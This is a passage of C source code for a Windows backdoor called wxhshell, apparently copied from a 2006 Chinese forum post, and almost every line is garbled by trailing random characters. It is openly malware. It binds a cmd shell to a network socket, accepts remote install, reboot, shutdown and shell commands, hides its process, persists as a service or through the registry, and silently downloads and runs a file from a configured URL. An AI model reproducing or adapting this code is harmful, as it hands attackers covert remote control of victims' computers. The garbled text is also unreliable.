  // 帮助 <s8? Z1  
  case '?': { HB7(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5)yOw|Bd  
    break; C6d]tLE  
  } 20VVOnDY  
  // 安装 JT|u;Z*n  
  case 'i': { 14D 7U/zer  
    if(Install()) -@L's{J{M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WE[m@K[CR  
    else  Wu!t C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "XNu-_$N<a  
    break; tKZ&1E  
    } ISS\uj63M  
  // 卸载 f>r3$WKj  
  case 'r': { VD24X  
    if(Uninstall()) *AH^%!kVP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90s;/y(  
    else h}|6VJ@.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >`89N'lZBm  
    break; /zG +]  
    } ku9@&W+  
  // 显示 wxhshell 所在路径 B:-U`CHHQ  
  case 'p': { sS2_-X[_  
    char svExeFile[MAX_PATH]; &xiOTkqB  
    strcpy(svExeFile,"\n\r"); S<nP80C  
      strcat(svExeFile,ExeFile); 8geek$FY x  
        send(wsh,svExeFile,strlen(svExeFile),0); {/d4PI7)tK  
    break; ]4Y/xi-  
    } >?5xDbRj  
  // 重启 b]*X<,p  
  case 'b': { py{eX`(MS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '@TI48 J+  
    if(Boot(REBOOT)) h2wN<dJCM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<*O  
    else { lq>pH5x  
    closesocket(wsh); Yb[n{.%/g  
    ExitThread(0); F7{R~mS;  
    } -J,Q;tj  
    break; X>8-` p  
    } ,+tPRkwA^  
  // 关机 z)lM2x>|*  
  case 'd': { TbLe6x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {-@~Q.&}v  
    if(Boot(SHUTDOWN)) =}JBA>q(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P:sAqvH6  
    else { nr OqH  
    closesocket(wsh); E4+b-?PB~  
    ExitThread(0); }[ ].\G\G  
    } vwKw?Z0%J  
    break; %}C9  
    } #?9 Q{0e  
  // 获取shell <cYp~e%xIw  
  case 's': { eC~ jgB  
    CmdShell(wsh); TPHYz>D]  
    closesocket(wsh); fk>l{W}e)  
    ExitThread(0); |rMq;Rgu?  
    break; &Yp+k}XU  
  } 2FGx _ Y  
  // 退出 XaW4C-D&  
  case 'x': { /D[dO6.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B{p4G`$i1  
    CloseIt(wsh); Q',m{;;  
    break; ASW4,%cl  
    } #{x5L^v>]  
  // 离开 "tL2F*F"6X  
  case 'q': { JSgpb ?(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wr5Q5s)c  
    closesocket(wsh); 1}!L][(  
    WSACleanup(); H`-=?t  
    exit(1); OV[`|<C '  
    break; WfG(JJ  
        } $n-Af0tK  
  } "jR]MZ  
  } T C8`JU=wV  
)~V }oKk0t  
  // 提示信息 )11W)G`w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o.Oq__>$H  
} Uk,g> LG  
  } , T\-;7  
=&7@<vBpy  
  return; QU T"z'  
} vXdZmYrC  
9tK>gwb  
// shell模块句柄 jl}$HEI5m}  
int CmdShell(SOCKET sock) 3qi_]*dD  
{ b,@aqu  
STARTUPINFO si; sDC*J \X  
ZeroMemory(&si,sizeof(si)); B +Aj*\Y.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S~)w\(r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {.CMD9F[  
PROCESS_INFORMATION ProcessInfo; Hi7y(h?wj  
char cmdline[]="cmd"; oM,- VUr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8IGt4UF&?  
  return 0; /L v1$~  
} cp6WMHLj   
s-rfS7;  
// 自身启动模式 !aNh!  
int StartFromService(void) a1c1k}  
{ s0C:m  
typedef struct =o^|bih  
{ CO^Jz  
  DWORD ExitStatus; 8SC%O\,  
  DWORD PebBaseAddress; =X(%Svnp  
  DWORD AffinityMask; S8vV!xO  
  DWORD BasePriority; 'bu)M1OLi  
  ULONG UniqueProcessId; 4=[7Em?oLb  
  ULONG InheritedFromUniqueProcessId; 3[IJhR[  
}   PROCESS_BASIC_INFORMATION; \we\0@v  
 HpW 42  
PROCNTQSIP NtQueryInformationProcess; K84^ Oq  
#=,imsW)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]lBGyUJn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H!)=y  
2/7_;_#vJ%  
  HANDLE             hProcess; 6GL=)0Ah  
  PROCESS_BASIC_INFORMATION pbi; A??@AP[7M  
~i~%~doa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C~4PE>YtTv  
  if(NULL == hInst ) return 0; ,Zf 9RM  
K'5'}Lb5k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gTf|^?vd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <a^Oj LLU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kkCZNQ~I  
jd-glE,Y/  
  if (!NtQueryInformationProcess) return 0;  $_;e>*+x  
DcD{*t?x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `#mK*Buem}  
  if(!hProcess) return 0; 1B=>_3_  
hJ;$A*Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (bp9Pjw  
]j<Bo4~Il  
  CloseHandle(hProcess); l& 4,v  
uzmk6G v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Aj Q#;#Q  
if(hProcess==NULL) return 0; OMhef,,H  
AqK z$  
HMODULE hMod; MObt,[^W  
char procName[255]; #/"8F O%~p  
unsigned long cbNeeded; ](tx<3h  
H1<>NWm!v7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qPB8O1fyU  
|b-9b&  
  CloseHandle(hProcess); >_rha~   
 S( S#  
if(strstr(procName,"services")) return 1; // 以服务启动 ] 2 #  
S)QAXjH  
  return 0; // 注册表启动 EXP%Mk/  
} l Z#o+d2Y  
R>DaOH2K*  
// 主模块 3iw{SEY  
int StartWxhshell(LPSTR lpCmdLine) }I 3gU  
{  tz#gClo  
  SOCKET wsl; t+5E#!y  
BOOL val=TRUE; !d<"nx[2`  
  int port=0; V .os  
  struct sockaddr_in door; `cPywn@uGZ  
`_b`kzJ  
  if(wscfg.ws_autoins) Install(); ;a-$D]Db  
91Uj}n%  
port=atoi(lpCmdLine); T+N|R  
* ),8PoT  
if(port<=0) port=wscfg.ws_port; $P1O>x>LIL  
bSVlk`  
  WSADATA data; e]jH+IR:>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3 ?Y|  
J_>w3uY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;7N Z<k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \*,=S52  
  door.sin_family = AF_INET; >A0k 8T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P&Pj>!T5  
  door.sin_port = htons(port); SP|<Tny  
e/->_T(I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }I@L}f5N  
closesocket(wsl); +~xnXb1  
return 1; GTHkY*  
} ^F:k3,_[  
AfG/JWSo}  
  if(listen(wsl,2) == INVALID_SOCKET) { VCtH%v#S;.  
closesocket(wsl); tzy'G"P|  
return 1; 4t)%<4  
} :ss,Hl  
  Wxhshell(wsl); <>m }}^  
  WSACleanup(); # O4gg  
1SrJ6W @j[  
return 0; lN9=TxH1(;  
c1%H4j4/  
} w[6J `   
V/LQ<Yke  
// 以NT服务方式启动 9b?SHzAa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V7TVt,-3  
{ ' oF xR003  
DWORD   status = 0; 3s"0SLS4  
  DWORD   specificError = 0xfffffff; kNqH zo  
4mn&4e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8EVgoJ.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [frq  'c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UX]L;kI  
  serviceStatus.dwWin32ExitCode     = 0; #z1H8CFL"  
  serviceStatus.dwServiceSpecificExitCode = 0; d&#~ h:~  
  serviceStatus.dwCheckPoint       = 0; V5U?F6  
  serviceStatus.dwWaitHint       = 0; D~o$GW%  
JoSJH35=:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @y31NH(  
  if (hServiceStatusHandle==0) return; @-OnHE  
"TH6o: x  
status = GetLastError(); 9}z0J  
  if (status!=NO_ERROR) !45.puL0  
{ f<A5?eKw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nk3y"ne7  
    serviceStatus.dwCheckPoint       = 0; Ew3ibXD  
    serviceStatus.dwWaitHint       = 0; oA1a/[#  
    serviceStatus.dwWin32ExitCode     = status; )Fb>8<%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ." $  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #2iD'>bQ  
    return; gNGr!3*)w  
  } |pa$*/!NT  
_{jjgQJ5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k? Xc  
  serviceStatus.dwCheckPoint       = 0; U?.9D  
  serviceStatus.dwWaitHint       = 0; 7^T^($+6s&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "*O4GPj  
} ^*\XgX  
<'G~8tA%v  
// 处理NT服务事件,比如:启动、停止 1n\ t+F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) } G<rt  
{ \ u_ui  
switch(fdwControl) OxGE%R,  
{ !a$ D4(`v  
case SERVICE_CONTROL_STOP: ZtHm\VTS  
  serviceStatus.dwWin32ExitCode = 0; FYS/##r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @xc',I  
  serviceStatus.dwCheckPoint   = 0; i_][P TH  
  serviceStatus.dwWaitHint     = 0; {,OS-g  
  { z6py"J@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M# 18H<]  
  } ud fe  
  return; XhsTT2B   
case SERVICE_CONTROL_PAUSE: M,}|tsL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nADX0KI  
  break; h $N0 D !  
case SERVICE_CONTROL_CONTINUE: XlI!{qj|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [31p&FxM  
  break; "n:{ !1VGw  
case SERVICE_CONTROL_INTERROGATE: lcV<MDS  
  break; 6!^[];%xN  
}; ~XeFOM q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E+C5 h ;p&  
} 1c+]gIe  
W(RF n`g\  
// 标准应用程序主函数 - y9>;6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d2s OYCKe  
{ ^TB>.c@`*  
`]Bxn) b(  
// 获取操作系统版本 d3^OEwe  
OsIsNt=GetOsVer(); j]0^y}5f+s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $hxN hI  
| nJZie8m  
  // 从命令行安装 kX:tc   
  if(strpbrk(lpCmdLine,"iI")) Install(); R_sC! -  
Nx#4W1B[`H  
  // 下载执行文件 _if|TFw;h  
if(wscfg.ws_downexe) { N)% ;jh:T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qW 1V85FG  
  WinExec(wscfg.ws_filenam,SW_HIDE); VGL#!4wK  
} 9dh >l!2  
hC_Vts[v/  
if(!OsIsNt) { EliTFxp  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~](fFa{  
HideProc(); ~8|t*@D  
StartWxhshell(lpCmdLine); ~tB;@e  
} eK/?%t  
else Fyyg`J  
  if(StartFromService()) 9]$8MY   
  // 以服务方式启动 6B$q,"%S@  
  StartServiceCtrlDispatcher(DispatchTable); vFrt|JC_{  
else yz+, gLY  
  // 普通方式启动 2S`?hxAL  
  StartWxhshell(lpCmdLine); =G~~?>=@2  
zm9TvoC%}  
return 0; 'cDx{?  
}
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只看该作者 1 发表于: 2006-10-10
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